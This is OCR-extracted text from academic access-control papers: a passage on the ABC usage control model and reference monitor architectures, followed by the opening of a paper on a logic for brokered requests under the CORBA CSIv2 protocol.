action by the subject so as to gain or sustain access, e.g., clicking ACCEPT on a
license agreement. Conditions are environmental or system-oriented factors that
predicate access, e.g., time-of-day or overall system load. Further, with respect to
authorizations per se, ABC introduces mutable attributes that change as a con-
sequence of access. Finally, ABC recognizes the continuity of access enforcement
so the decision to allow access is not only made prior to access, but also during
the time interval that access takes place. Given the Turing completeness of the
access matrix model it is theoretically possible to represent these enhancements
within the access matrix, but that would ignore their fundamental nature in
addressing the shortcomings of the classic access matrix identified by numerous
researchers. It is time to enhance the core model.

ABC is the first model to address a systematic and comprehensive exten-
sion of the classic access matrix. By integrating authorizations, obligations and
conditions along with mutable attributes and ongoing enforcement, ABC quite
naturally and elegantly encompasses diverse current proposals in the literature.
It is shown that ABC encompasses traditional discretionary, mandatory, and
role-based access control. It is further shown that ABC encompasses emerg-
ing applications such as trust management, digital rights management, etcetera
within a unified framework. Strictly speaking ABC is a family of models because
each component has a number of options. For example, ABC without obligations,
conditions, mutable attributes and ongoing enforcement, is close to the access
matrix. ABC is a core model of usage control in that it focuses on the process of
access enforcement while leaving other important issues such as administration
or delegation aspects for future development.

In architectural perspective, reference monitor is the most important element
of classic access control. Among the main differences with respect to classic access
control is the requirement for a client-side reference monitor. This is a hallmark
of digital rights management. In this paper, we introduce a modified reference
monitor for usage control and discuss variations of reference monitor based on
its locations. Section 2 examines new aspects that are not covered by classic
access control but crucial for modern applications. Section 3 discuss a family of
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ABC models for usage control. We further discuss architectural details for usage
control in section 4.

2 Beyond Classical Access Control

One commonality of traditional access controls and even trust management is
utilization of subjects’ attributes and objects’ attributes for authorization pro-
cess. In other words, in traditional access control, authorization decision is made
based on subject attributes, object attributes, and requested rights. Attributes
include identities, capabilities, or properties of subjects or objects. For example,
in mandatory access control, clearance labels of subjects are considered as sub-
ject attributes and objects’ classification labels as object attributes. Authoriza-
tion process, then, evaluates the dominance of these labels along with requested
access rights (e.g., read, write) to return either ‘allowed’ or ‘not-allowed’. Simi-
larly, in discretionary access control, access control list (ACL) can be viewed as
object attributes and capability list as subject attributes. Figure [l shows this
‘attribute-based’ traditional access control.

Authoriza-

Usage tions (A)

Decision

Objects

\ /
Subject Attributes Object Attributes
(ATT(S)) (ATT(O))

Fig. 1. Traditional Access Control

Although this ‘attributed-based’ approach of traditional access control can
cover many applications, today’s digital information systems require more than
classical authorizations. For example, suppose Alice has to click ‘accept’ button
for license agreement or has to fill out a certain form to download a company’s
whitepaper. In this case, certain actions have to be performed by the subject to
enable a requested usage. In other words, usage decision is based on fulfillment
of required actions, not by existence of subject attributes and object attributes.
This decision factor is called as “obligation” and required in addition to autho-
rization to cover modern access control applications.

In addition to authorization and obligation, there are certain situations where
access or usage needs to be limited due to certain environmental or system
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status. For example, usage of certain digital resources may be allowed only during
business hours or at certain locations. A system with heavy traffic load may allow
only premium users to be serviced. For this requirement, a system needs to check
current environmental or system status for usage decision. This decision factor
is called as “condition” and required together with authorization and obligation
for modern access control.

Continuity of pre ongoing
Decisions

Before Usage After

Mutability of T T
Attributes pre ongoing post

Fig. 2. Continuity and Mutability Properties

In addition to these three decision factors, modern information systems re-
quire two other important properties called “continuity” and “mutability” as
shown in Figure[2l In traditional access control, authorization is assumed to be
done before access is allowed (pre). However, it is quite reasonable to extend this
for continuous enforcement by evaluating usage requirements throughout usages
(ongoing). This property is called “continuity” and has to be captured in mod-
ern access control for the control of relatively long-lived usage or for immediate
revocation of usage.

In traditional access control, attributes are modifiable only by administrative
actions. However, in many modern applications such as DRM systems, these
attributes have to be updated as side-effects of subjects’ actions. For example, a
subject’s e-cash balance has to be decreased by the value of a digital object as the
subject uses or accesses the object. This “mutability” property of attributes has
been rarely discussed in traditional access control literature. In case attributes
are mutable, updates can be done either before (pre), during (ongoing) or after
(post) usages as shown in Figure [A Mutability allows more direct enforcement
of various classical policies that require history-based authorizations such as
dynamic Separation Of Duty or Chinese Wall policy.

Although some of these issues have been discussed in access control literature,
the focus is typically limited to specific target problems, so the discussion is not
comprehensive. The notion of usage control (UCON) is developed to cover these
diverse issues in a single framework to overcome these shortcomings. In UCON,
traditional access control can be extended to include modern access control and
digital rights management by integrating obligations and conditions as well as
authorizations and by including continuity and mutability properties.
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3 ABC Model for Usage Control

The family of ABC model is a core model for usage control. We call this as a core
model since it captures the essence of usage control while there are other impor-
tant issues to be discussed. In this section we briefly discuss eight components
of ABC models and a family of models in a systematic manner.

3.1 ABC Model Components

The ABC model consists of eight components as follows: subjects, subject at-
tributes, objects, object attributes, rights, authorizations, obligations, and con-
ditions (see figure ).

Subjects and objects are familiar concepts from the past thirty plus years of
access control, and are used in their familiar sense in ABC. A right enables access
of a subject to an object in a particular mode, such as read or write. In this sense
the ABC concept of right is essentially similar to the familiar concept of a right
in access control. There is a subtle difference in the ABC viewpoint in that ABC
does not visualize a right as existing in some access matrix independent of the
activity of the subject. Rather the existence of the right is determined when the
access is attempted by the subject. The usage decision functions indicated in
figure [3 make this determination based on subject attributes, object attributes,
authorizations, obligations and conditions at the time of usage requests.

Authoriza-

Usage tions (A)

Decision
-
\

\
Object Attributes
(ATT(O))

/
Subject Attributes
(ATT(S))

Conditions
(©)

Obligations
(B)

Fig. 3. ABC Model Components

Subject and object attributes are properties that can be used during the
access decision process. One of the most important subject attributes in practice
is subject identity, but it is not required by the ABC model. Subject identity
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is often important for determining access, and can be even more important for
accountability. However, requiring subject identity as a mandatory attribute
precludes anonymous services. Examples of subject attributes include identities,
group names, roles, memberships, security clearance, pre-paid credits, account
balance, capability lists, etc. Examples of object attributes are security labels,
ownerships, classes, access control lists, etc. In e-commerce applications a price-
list could be an object attribute, e.g., a particular e-book may stipulate a $10
price for a ‘read’ right and a $15 price for a ‘print’ right. The general concept
of attribute-based access control is commonplace in the access control literature
and as such this aspect of ABC builds upon familiar concepts.

A significant innovation in ABC is that subject and object attributes can be
mutable. Mutable attributes are changed as a consequence of access, whereas
immutable attributes can be changed only by administrative action. Policies
requiring limits on the number of accesses by a subject or reduction of account
balance based on access can be easily specified using mutable attributes. More
generally, various kinds of consumable authorizations can be modelled in this
manner. High watermark policies on subject clearance and Chinese Walls can
also be enforced in this way. The introduction of mutable attributes is a critical
differentiator of ABC relative to most proposals for enhanced models for access
control.

Authorizations, obligations and conditions are decision factors employed by
the usage (or access) decision functions to determine whether a subject should
be allowed to access an object with a particular right. Authorizations are
based on subject and object attributes and the specific right in question. Unlike
prior models ABC explicitly recognizes that each access has a finite duration.
Authorization is usually required prior to the access, but in addition it is possible
to require ongoing authorization during the access, e.g., a certificate revocation
list (CRL) can be periodically checked while the access is in progress. If the
relevant certificate appears on the CRL access can be terminated. Authorizations
may require updates on subject and/or object attributes. These updates can be
either pre, ongoing, or post. The high watermark policy requires update of the
subject’s clearance prior to access. Metered usage payment requires updates after
the usage has ended to calculate current usage time. Using pre-paid credits for
time-based metering requires periodic updates of the remaining credits while
usage is in progress, with possible termination in case of overuse.

Obligations are requirements that a subject must perform before (pre) or
during (ongoing) access. An example of a pre-obligation is the requirement that
a user must provide some contact and personal information before accessing a
company’s white paper. The requirement that a user has to keep certain adver-
tising windows open while he is logged into some service, is an example of an
ongoing obligation. Subject and/or object attributes can be used to decide what
kind of obligations are required for access approval. The exercise of obligations
may update mutable attributes. These updates can affect current or future usage
decisions.
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Conditions are environmental or system-oriented decision factors. Examples
are time of day and system load. They can also include the security status of the
system, such as normal, high alert, under attack, etc. Conditions are not under
direct control of individual subjects. Evaluation of conditions cannot update any
subject or object attributes.

3.2 The ABC Family of Core Models

Based on three decision factors, authorizations, obligations, and conditions, and
continuity and mutability properties, we have developed a family of core models
for usage control. We say these are core models because, as discussed earlier,
they focus on the enforcement process and do not include administrative issues.
Also, they will need to be further elaborated for specific applications.

The ABC model assumes there exists a usage request on a target object.
Decision-making can be done either before (pre) or during (ongoing) exercise of
the requested right. Note that decision-making after the usage does not make
sense since there can be no influence on the decision of current usage. Mutability
allows certain updates on subject or object attributes as side effects of usages.
If usage is immutable, there is no update required for the decision process and
denoted as ‘0’. For mutable usage, updates are required either before (pre), dur-
ing (ongoing), or after (post) the usage and denoted as ‘1,2, and 3’, respectively.
Based on these criteria, we have developed 16 possible model spaces as a core
model for usage control. While there are examples for an individual model, many
real world systems are likely to utilize more than one model. In this paper we
only consider pure models for simplicity.

0 (immutable)|1 (pre-update)|2 (ongoing-update)|3 (post-update)
preA Y Y N Y
onA Y Y Y Y
preB Y Y N Y
onB Y Y Y Y
preC Y N N N
onC Y N N N

Fig. 4. The 16 Basic ABC Models

Figure [4 shows all possible detailed models based on these three criteria.
Cases that are not likely to be realistic are marked as ‘N’. If decision factor is
‘pre’, updates are likely to occur only before or after the right is exercised and
there is little reason to have ongoing updates since without ongoing decision,
ongoing-update can influence only decisions on future requests and therefore
the updates can be done after the usage is ended. However, if decision factor
is ‘ongoing’, updates are likely to be happen before, during or after the usage.
For condition models, evaluation of condition cannot update attributes since it
simply checks current environmental or system status.
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3.3 ABC Model Definitions and Examples

For simplicity we consider only the “pure” cases consisting of A, B or C alone
with pre or ongoing decisions only. In reality these models would often be used
in conjunction with each other. It is a valuable thought experiment to consider
each model by itself. The goal of this paper is not to develop a logical expression
language for the ABC model. Rather, while there can be numerous ways of
expressing our ABC model, our focus is to develop comprehensive models for
usage control in a unified framework. We believe the ABC model can be used as
a reference model for further research in usage control.

UCONprea — Pre-authorizations Models

In UCONp,.4 models, the decision process is performed before access is allowed.
We begin with the UCON,,¢4, which allows no updates of attributes.

Definition 1. The UCONp, ¢4, model has the following components:

— S,0,R, ATT(S), ATT(O) and a usage decision function preA
— allowed(s,0,1) = pre A(ATT(s), ATT (0),7).

The allowed(s, 0,r) predicate indicates that subject s is allowed to access
object o with right r only if the indicated condition is true. This predicate is
stated as a necessary condition to allow composition of multiple models, each
of which contributes its own conditions. Composition of models requires the
conjunction of all relevant allowed(s, o, ) predicate.

UCONprea, corresponds roughly to the classic approach to access control.
Examples 1 and 2 show how mandatory and discretionary access controls can
be realized within UCONy;c4,-

Example 1. Mandatory access control stated in UCONpyc4,:

L is a lattice of security labels with dominance >
clearance : S — L, classification : O — L

ATT(S) = {clearance}, ATT(0O) = {classification}
allowed(s, o, read) = clearance(s) > classification(o)
allowed(s, o, write) = clearance(s) < classi fication(o)

Example 2. Discretionary access control using Access Control Lists in
UCONprea,:

N is a set of identity names

id: S — N, ACL : O — 2N*E (n is authorized to do r to 0)
ATT(S) = {id}, ATT(0) = {ACL}

allowed(s,o,7) = (id(s),r) € ACL(0)

! This is similar to the Bell-LaPadula model [I] where mandatory and discretionary
necessary conditions are defined and then applied together.
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A capability-based formulation of discretionary access control can be simi-
larly given. For role-based access control, user-role and permission-role assign-
ments can be expressed as subject and object attributes respectively. With mu-
table attributes we have the following two models.

Definition 2. The UCONpyca,, and UCONyca, models are identical to
UCONprea, except they respectively add the following update processes:

— UCONyrea, adds preUpdate(ATT(s)), preUpdate(ATT (o))
— UCON,yea, adds postUpdate(ATT(s)), postUpdate(ATT (o))

Note that both subject and object attributes can be updated. A Digital
Rights Management (DRM) example of preUpdate is payment-based access. The
allowed predicate tests whether the subject s has sufficient credit(s) to access
an object o with price(o). The preUpdate procedure then decrements credit(s)
by the amount price(o). A DRM example of postUpdate arises when the price of
access depends upon the usage time, i.e., we have metered access. The account
balance of the subject needs to be incremented by the rate multiplied by time
of use, after access is terminated.

UCON,pa — Ongoing-authorizations Models

We begin by formalizing UCON,,, 4, where no update procedures are included.

Definition 3. The UCON,, 4, model has the following components:

- S,0,R,ATT(S), ATT(O) and a usage decision function on.A
— allowed(s,0,1) = true;
— stopped(s,o0,1) < —onA(ATT(s), ATT(0),r).

UCON,p 4, introduces the onA predicate instead of preA. In absence of
pre-authorization, the requested access is always allowed. However, ongoing-
authorization is active throughout the usage of the requested right, and the on.A
predicate is repeatedly checked for sustaining access. Technically, these checks
are performed periodically based on time or event. The ABC model does not
specify exactly how this should be done. In case certain attributes are changed
and requirements are no longer satisfied, ‘stopped’ procedure is performed. We
write ‘stopped(s, o,r)’ to indicate that right r of subject s to object o is revoked
and the ongoing access terminated.

For example, suppose only 10 users can access an object o; simultaneously.
If a 11th user requests access, the user with the earliest time is terminated. In

2 It is important to note that the update operations may be nondeterministic. For
example, payment for permitting access may be applicable from multiple accounts
held by the subject. Which account is debited is not material in enforcement. The
exact manner in which the nondeterminism is resolved is not specified as part of the
model.
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this case, the 11th user is allowed without any pre-authorization decision pro-
cess. However, on.A monitors the number of current usages on o1(ATT(01)),
determines which was the earliest to start, and terminates it. Some ongoing au-
thorizations are likely to be occurred only together with pre-authorizations. For
example, suppose on.A monitors certain certificate revocation lists periodically
to check whether the user’s identity certificate is revoked or not. While this is
a case of ongoing authorizations, this makes sense only when the certificate has
already been evaluated in a ‘pre’ decision at the time of the request.
UCONypa,,UCON,p, 4, andUCON,,, 4, add pre-update preUpdate(ATT(s)),
preUpdate( ATT(0)), ongoing-update onUpdate(ATT(s)), onUpdate(ATT (o))
and post-update postUpdate(ATT(s)), postUpdate(ATT (0)) procedures respec-
tively. Suppose the extra user in the above example is revoked based on longest
idle time. Monitoring idle time requires ongoing updates of a last activity at-
tribute. This is an example of UCON,,, 4,. Further suppose that revocation of
the extra user is based on total usage time in completed sessions since the start
of the fiscal year. We would need post-updates to accumulate this time and this
is an example of UCON,, 4,. In both examples, current usage numbers have to
be updated at the beginning of each access, hence pre-update (onA;) is required.

UCONy,ep — Pre-obligations Models

UCONy,p introduces pre-obligations that have to be fulfilled before access is
permitted. We model this by the preB predicate. Examples of pre-obligations are
requiring a user to provide name and email address before accessing a company’s
white paper, requiring a user to click the ACCEPT box on a license agreement
to access a web portal, etc. Note that the pre-obligation action is performed on
a different object (e.g., web form, license agreement) than the object that the
user is trying to access (e.g., white paper, web portal). More generally, the pre-
obligation action may be done by some other subject, e.g., parental consent to
access a restricted web site. This complicates formalization of the model given
below.

Definition 4. The UCON,,.p, model has the following components:

— S,0,R,ATT(S), and ATT(O) as before;
OBS,0BO, and OB, (obligation subjects, objects, and actions, respec-
tively);

— preOBL C OBS x OBO x OB; (pre-obligations elements)
preFul filled : OBS x OBO x OB — {true, false};

— getPreOBL : S x O x R — 2Pm¢OBL 4 function to select pre-obligations for
a requested access;

- preB(S, 0, 7‘) = /\(obsi,oboi,obi)egetPreOBL(s,om) pTeFUZfill(;’d(Obsh Oboi’ Obi)
preB(s,o,r) = true by definition if get PreOBL(s,0,1) = ¢;

— allowed(s,0,1) = preB(s,o,r).

The getPreOBL function represents the pre-obligations required for s to
gain r access to o. The preFul filled predicate tells us if each of the required
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obligations is true. The UCONp,ep, and UCON,,.p, add preUpdate(ATT(s)),
preUpdate(ATT (o)) and postUpdate(ATT(s)), postUpdate(ATT (o)) procedu-
res respectively. The preUpdate procedure could be used to mark a subject
as registered so the contact information is requested only the first time the
subject attempts to access a white paper. The postUpdate procedure could be
used to monitor total usage of a resource by a subject, e.g., to require periodic
reaffirmation of a license agreement.

UCON,,B — Ongoing-Obligations Models

The UCON,, g models require obligations to be fulfilled while rights are exer-
cised. Ongoing-obligations may have to be fulfilled periodically or continuously.
For example, a user may have to click an advertisement at least every 30 minutes
or at every 20 Web pages. Alternatively, a user may have to leave an advertise-
ment window active all the time. Note that this concern is about when users have
to fulfill obligations, not about when the system actually checks the fulfillments.
Actual obligation verification intervals can vary and are not prescribed by the
model.

UCONprec — Pre-conditions Model

As described earlier, conditions define environmental and system restrictions on
usage. These are not directly related to subjects and objects.

Definition 5. The UCON,,.c, model has the following components:

- 5,0,R,ATT(S), and ATT(O) are not changed from UCON,c4;
— preCON (a set of pre-conditions elements);

preConChecked : preCON — {true, false};
— getPreCON : S x O x R — 2preCON.

— pre€C(s,0,1) = NpreConseget PreCON(s,0.r) PreConChecked(preCon;)

— allowed(s,0,r) = preC(s,o,r).

Unlike other ABC models, condition models cannot have update procedures.
Checking the time-of-day before access is allowed is an example of UCONpyec -
Checking the location of the client in cyberspace is another example.

UCON,,c — Ongoing-conditions Model

Enforcement of conditions while rights are in active use is supported by the
UCON,,c model by means of the onC predicate. For example, if the system
status changes to ‘emergency mode’ access by certain kinds of users may be
terminated. Likewise if the system load exceeds a specified value access may be
aborted.
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4 UCON Architectures

In architectural point of view, one of the most critical issues in enforcing UCON
is the reference monitor. The reference monitor has been discussed extensively in
access control community and is a core concept that provides control mechanisms
on access to or usage of digital information. Reference monitor associates decision
policies and rules for control of access to digital objects. It is always running and
tamper resistant. Subjects can access digital objects only through the reference
monitor. In this section, we discuss a conceptual structure of UCON’s reference
monitor and compare the differences from traditional reference monitor. Also, we
discuss some architectural variations of UCON systems based on the utilization
of reference monitors.

4.1 Structure of Reference Monitor

ISO has published a standard for access control framework [ISO/TEC 10181-3]
that defines reference monitor and trusted computing base [4]. According to the
standard, reference monitor consists of two facilities; access control enforcement
facility (AEF) and access control decision facility (ADF). Every request is inter-
cepted by AEF that asks an ADF for a decision of the request approval. ADF
returns either ‘yes’ or ‘no’ as appropriate. Reference monitor is a part of trusted
computing base, always running, temper-resistant, and cannot be bypassed.
UCON reference monitor is similar but different in detail from traditional
reference monitor of ISO’s access control framework. Figure [5] shows the concep-
tual structure of UCON reference monitors. UCON reference monitor consists

Usage Enforcement Facility

> | Customi- Monitoring Update

Subjects zation Module Module - Objects
- Module
Request Inf4 Result Info
Usage
Rules
Auth:r?zan Condition Obligation ( —
Module Module Module

Usage Decision Facility

Contextual
Information

Reference Monitor

Fig. 5. Conceptual Structure for UCON Reference Monitor
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of Usage Decision Facility (UDF) and Usage Enforcement Facility (UEF). Each
facility includes several functional modules. UDF includes conditions and obliga-
tions decision modules as well as authorization module. Authorization module
takes care of a process similar to traditional authorization process. It utilizes
subject and object information (attributes) and usage rules to check whether
the request is allowed or not. It may return yes or no. It may return meta-
data information of authorized portion of requested digital objects along with
allowed rights. Then, this metadata information is used for customization of
requested digital objects by customization module of UEF. Condition module
decides whether the conditional requirements for the authorized requests are sat-
isfied or not by using usage rules and contextual information (e.g., current time,
IP address, etc). It may limit rendering devices (e.g., CPU-ID, IP address),
rendering time (e.g., business hour, on-duty), etc. Obligation module decides
whether certain obligations have to be performed or not before or during the
requested usage has been performed. If there exists any obligation that has to
be performed, this must be monitored by monitoring module and the result has
to be resolved by update module in UEF. Note that usage decision rules may
or may not be hardwired into decision facility. Those rules can come along with
related digital information or independently [5l2]. Utilization of these modules
largely rely on the target application systems’ requirements.

4.2 Architectural Classification

Based on the location of reference monitor, there can be Server-side Reference
Monitor (SRM), and Client-side Reference Monitor (CRM). Here, server is an
entity that provides a digital object and client is an entity that receives and uses
the digital object. Like a traditional reference monitor, a SRM resides within
server system environment and mediates all access to digital objects. On the
other hand, a CRM resides in the client system environment and controls access
to and usage of digital objects on behalf of a server system. SRM and CRM can
coexist within a system. The trustworthiness of CRM is considered relatively
lower than that of SRM. Therefore, the main concern here is how reliable and
trustworthy the CRM is. In fact, if the client-side computing device is fully
functional and general-purpose, CRM is likely to be manipulated with relatively
less effort. Therefore, CRM is more suitable to applications with less assurance
requirements. This may be improved by using tamper-resistant add-on hardware
devices such as dongles, smartcards, etc. On the other hand, if the client device
is limited in its functionality and dedicated to specific purposes such as e-book
reader or DVD player, CRM is relatively secure from unauthorized manipulations
so applications with relatively high assurance requirements are more suitable.
After all, the implementation of reference monitors largely depends on business
models and their application requirements. For real world implementations, the
chances are that both CRM and SRM are likely to be used for better functionality
and security. In the following subsections these SRM-only, CRM-only, and SRM
& CRM architectures are briefly discussed.
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SRM-only Architecture. A system with SRM-only facilitates a central means
to control subjects’ access to and usage of digital information objects. A subject
can be either within same organization/network area or outside this area. In this
environment a digital object may or may not be stored in client-side non-volatile
storage. If the digital object is allowed to reside in client-side non-volatile storage,
it means the saved client copy of the digital object is no longer UCON’s target
object and doesn’t have to be controlled. It can be used and changed freely at
client-side. For example, an on-line bank statement can be saved at a customer’s
local machine for his records and the server system (bank) doesn’t care about
customer’s copy as long as the bank keeps original account information safe.
However if the content of digital information itself has to be protected and
controlled centrally, the digital information must remain at server-side storage
and never be allowed to be stored in cleartext on client-side non-volatile storage.
Traditional access control and trust management mainly utilize this kind of
system.

CRM-only Architecture. In a system with CRM-only environment, no ref-
erence monitor exists on server-side system. Rather, a reference monitor exists
at the client system for controlling usage of disseminated digital information. In
this environment digital objects can be stored either centrally or locally. The
usage of digital objects saved at the client-side is still under the control of CRM
in lieu of the server. Without SRM, a digital object cannot be customized for
specific users for distribution. Hence, this system is likely to be suitable for B2C
mass distribution environments such as e-book systems or MP3 music file distri-
bution. However this doesn’t mean that every user will have same usage rights.
Distributed digital objects are associated with certain usage rules and users have
to prove they have sufficient credentials to exercise certain rights on the objects.
At this point users may be limited to perform certain rights on the object under
certain conditions such as a specific device identity.

Digital rights management solutions mainly utilize CRM in their systems.
In real world implementation, CRM is likely to be embedded within application
software where digital objects can be rendered. One example is Acrobat Reader
with “Webbuy” plug-in. Webbuy functions as a CRM. Digitally encapsulated
PDF files can be viewed through Acrobat Reader with Webbuy. Webbuy controls
access to the contents based on a valid license called Voucher. A Voucher may
include a specific CPU-ID to restrict rendering devices.

SRM & CRM Architecture. By having SRM in addition to CRM, this archi-
tecture can provide two-tier control. SRM may be used for distribution related
control while CRM can be used for a finer-grained control on usages. For in-
stance, in SRM, digital objects can be pre-customized for distribution and the
distributed, pre-customized digital objects can be further controlled and cus-
tomized for clients’ usages by CRM. As a result, server can reduce or eliminate
unnecessary exposure of digital objects that do not have to be distributed. Sup-
pose we have an intelligence system with this architecture. If an unclassified
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user requests certain digital information that includes some secret information
as well, SRM can pre-customize the requested objects before distribution so the
distributed version of the objects don’t include any secret information. Any finer-
control on the distributed objects can be done by CRM at client side. In real
world applications, functional specifications of UCON reference monitor can be
divided into SRM and CRM in various ways based on the system’s functional
and security requirements.

5 Conclusion

Classic access matrix based access control has been studied for over thirty years
with great attention from the information and computer security community.
Nevertheless, there is increasing realization that this model is not adequate for
modern application requirements. Researchers have studied various extensions to
classic access control concepts. These studies are specific to target problems and
thereby seemingly ad-hoc. Unlike these solutions, usage control is comprehensive
enough to encompass traditional access control and modern access control such
as digital rights management applications. We believe usage control will provide
a solid foundations for a robust framework for next generation access control.
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Abstract. Access control — determining which requests for services sho-
uld be honored or not — is particularly difficult in networked systems.
Assuring that access-control decisions are made correctly involves deter-
mining identities, privileges, and delegations. The basis for making such
decisions often relies upon cryptographically signed statements that are
evaluated within the context of an access-control policy.

An important class of access-control decisions involves brokered services,
in which intermediaries (brokers) act on and make requests on behalf
of their clients. Stock brokers are human examples; electronic examples
include the web servers used by banks to provide the online interface be-
tween bank clients and client banking accounts. The CORBA (Common
Object Request Broker Architecture) CSIv2 (Common Secure Interop-
erability version 2) protocol is an internationally accepted standard for
secure brokered services [2]. Its purpose is to ensure service requests,
credentials, and access-control policies have common and consistent in-
terpretations that lead to consistent and appropriate access-control de-
cisions across potentially differing operating systems and hardware plat-
forms. Showing that protocols such as CSIv2 fulfill their purpose requires
reasoning about identities, statements, delegations, authorizations, and
policies and their interactions.

To meet this challenge, we wanted to use formal logic to guide our think-
ing and a theorem prover to verify our results. We use a logic for au-
thentication and access control [5,3,8] that supports reasoning about the
principals in a system, the statements they make, their delegations, and
their privileges. To assure our reasoning is correct, we have implemented
this logic as a definitional extension to the HOL theorem prover [4].
We describe this logic, its implementation in HOL, and the application
of this logic to brokered requests in the context of the CORBA CSIv2
standard.

1 Introduction

The rapid growth of wired and wireless networks has resulted in distributed com-
puting on a global scale where services are available anywhere at anytime. While
global access to information and services offers great convenience, it also carries

* Partially supported by the New York State Center for Advanced Technology in
Computer Applications and Software Engineering (CASE).

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 32-H6, 2003.
© Springer-Verlag Berlin Heidelberg 2003



Implementing a Calculus for Distributed Access Control 33

security risks that include inappropriate disclosure of information, potential loss
and corruption of data, identity theft, and fraud. These security risks are rooted
in the inadequate verification of identity, authorization, and integrity.

To understand both the importance and the challenges of trustworthy sys-
tems in a global scale, consider the following scenario:

John Lee, an American tourist, is traveling in Asia on vacation twelve
time zones away from home. John has an accident and goes to a local
hospital for treatment. Dr. Gupta, the attending physician, concludes
that immediate intervention is required, but to provide safe and effective
treatment, she needs access to Mr. Lee’s medical records located half-
way around the world. Dr. Gupta contacts her hospital’s medical records
administrator, Mr. Kumar, to obtain access to Mr. Lee’s records. Mr.
Kumar electronically retrieves Mr. Lee’s medical records (and only his
medical records) from his doctor’s computers within minutes, despite the
office being closed.

In the above scenario, there are three primary concerns: (1) John Lee should
be assured that his private medical information is accessible only to the proper
authorities under specific circumstances and that the information is correct and
available when needed; (2) the hospital should be assured of immediate and
timely access in an emergency and that the information is correct; and (3) Mr.
Lee’s doctor’s office should be free from liability concerns about the improper
release of records or incorrect data. These goals can be achieved by the cor-
rectness of access-control decisions and delegations. To assure the correctness
of access-control decisions, several components are required: a protocol for han-
dling brokered requests; consistent and predictable interpretations of requests;
and a logically sound theory for reasoning about delegations and access-control
decisions.

The specific protocol we consider in this paper is the Common Object Re-
quest Broker Architecture (CORBA) Common Secure Interoperability Version 2
Protocol (CSIv2). CORBA is an open standard that supports component-based
software designs and services at the middleware level [I]. CSIv2 is an accepted
CORBA standard in support of authentication of client identity [2]. The CSIv2
protocol was designed specifically to augment existing authentication technology
(e.g., SSL) with authorization and delegation information that can be used to
distinguish brokers from the clients who originate requests.

We focus on reasoning about access-control decisions and delegations related
to this protocol. We introduce a specialized modal logic that originally appeared
in a series of papers by Abadi and colleagues [5J3/[8]. This logic supports reasoning
about the statements made by principals (i.e., the actors in a system), their
beliefs, their delegations, and their authorizations. To ensure the soundness of
the logic, we embedded this logic into the HOL system as a definitional extension
to verify the correctness of the formal definitions. A benefit provided by this
embedding is confidence in the correctness and soundness of the axioms of the
logic.
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The rest of this paper is organized as follows. Section 2 describes the CORBA
CSIv2 protocol. Section Bl describes the syntax and semantics of Abadi and col-
leagues’ calculus [HJ38] that is used to reason about principals and their belief.
In Section H] we illustrate how that logic can be used to describe aspects of bro-
kered requests. In Section [H, we describe how the calculus is implemented as a
definitional extension to the higher-order logic of the HOL theorem prover. Sec-
tion [l shows how to use our theory to prove a property about the access-control
example from Section @l Finally, our conclusions are presented in Section [7]

2 Protocol for Brokered Requests

The CSIv2 protocol is designed for passing on requests from clients (service
requestors) to targets (service providers). We describe the protocol in terms
of principals, who are the subjects of the system: they make requests, grant
privileges, and delegate or endorse other principals to act on their behalf. When
a service provider receives a request, she must determine who is actually making
the request: the principal who transmitted it to her may be making it on his
own behalf or on behalf of another principal. Furthermore, the provider must also
determine whether that principal is authorized to make that particular request.

In the CSIv2 protocol, there are potentially four principals who participate
in any given request: (1) the target service provider (Carol), (2) a transport
principal (Default or Tony) who delivers the request to Carol, (3) a client to
be authenticated (Clyde), and (4) a principal whose name (Alice or Anon) ap-
pears in an identity token. Note that we are using different names to highlight
the different aspects of a request — in practice, it is possible for these different
components to refer to the same entity.

Every request that Carol receives is transmitted over either TCP /TP or SSL.
When Carol receives the request over TCP/IP, the transport principal is Default:
Carol does not authenticate this principal, but merely assumes the request was
sent by the default entity that always transmits requests to her. This scenario is
appropriate for situations in which the network is secure (e.g., private networks)
and for which Carol assumes that the request arrived through a pathway she
trusts. When, instead, Carol receives the request over SSL, she authenticates
the transport principal (who we identify as Tony for expository purposes) using
a public-key certificate.

To understand the purpose of the named principals Clyde, Alice, and Anon,
it is helpful to first understand the structure of CSIv2 requests. These requests
may include a Security Attribute Service (SAS) data structure, which holds
userid /password pairs and identity tokens. The SAS data structure can be viewed
as a three-tuple (C'A, T A, SA), with the following components:

— CA (if present) contains client authentication information, such as userid
and passwords.

— IA is an identity assertion, which (if present) identifies the client of the
request.

— S A contains any applicable security attributes, which indicate various privi-
leges that the relevant principals may have.
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Table 1. Interpretation of CSIv2 requests

Connection|Transport Invocation Carol’s
Method | Principal CA TA | Principal Interpretation
TCP/IP | Default None None| Default Default says r
TCP/IP | Default |(Clyde,PW) |None| Clyde Default says Clyde says r
SSL Tony None None Tony Tony says r
SSL Tony (Clyde,PW) [None| Clyde Tony says Clyde says r
TCP/IP Default None Alice Alice Default says Alice says r
TCP/IP Default |(Clyde, PW)|Alice Alice Default says Clyde says Alice says r
SSL Tony None Alice Alice Tony says Alice says r
SSL Tony |(Clyde, PW)|Alice Alice Tony says Clyde says Alice says r
TCP/IP Default None Anon| Anon Default says Anon says r
TCP/IP Default |[(Clyde, PW)|Anon| Anon |Default says Clyde says Anon says r
SSL Tony None Anon| Anon Tony says Anon says r
SSL Tony |(Clyde, PW)|Anon| Anon Tony says Clyde says Anon says r

The CSIv2 authors have not yet standardized the interpretation of the informa-
tion contained in the S A component, and thus we focus our attention on the C' A
and TA components for now. In total, there are six possible pairs (CA, I A) to
consider. The C A component may either be empty (in which case no principal
is associated with C'A) or contain a userid/password pair {Clyde, P) (in which
case the principal Clyde is associated with C'A). There are three possibilities for
the IA component: it may be empty, or it may contain an identity token for a
particular principal Alice or for the Anonymous principal.

When the target provider Carol receives a request r with an associated SAS
data structure, she always interprets it relative to the same ordering on princi-
pals: the transport principal (either Default or Tony) first, followed by (if present)
the principal associated with C'A (Clyde), followed by (if present) the principal
associated with A (Alice or Anon). Thus, if an SSL request r identifies Clyde
as the C'A principal and Alice as the I A principal, then Carol interprets this
request as

Tony says (Clyde says (Alice says r)),

and she considers Alice to be the invocation principal (i.e., client). In contrast,
a TCP/IP request r that identifies Clyde as the C'A principal and contains no
I A component is interpreted as

Default says (Clyde says ),

and Clyde is the invocation principal. Table [I] enumerates the twelve cases for
requests that are made in association with the SAS data structure.

The fourth case in the table — and the associated statement Tony says Clyde
says r — can be used to describe a situation in which a bank customer (here,
Clyde) connects with a web server to perform an online-banking operation. The
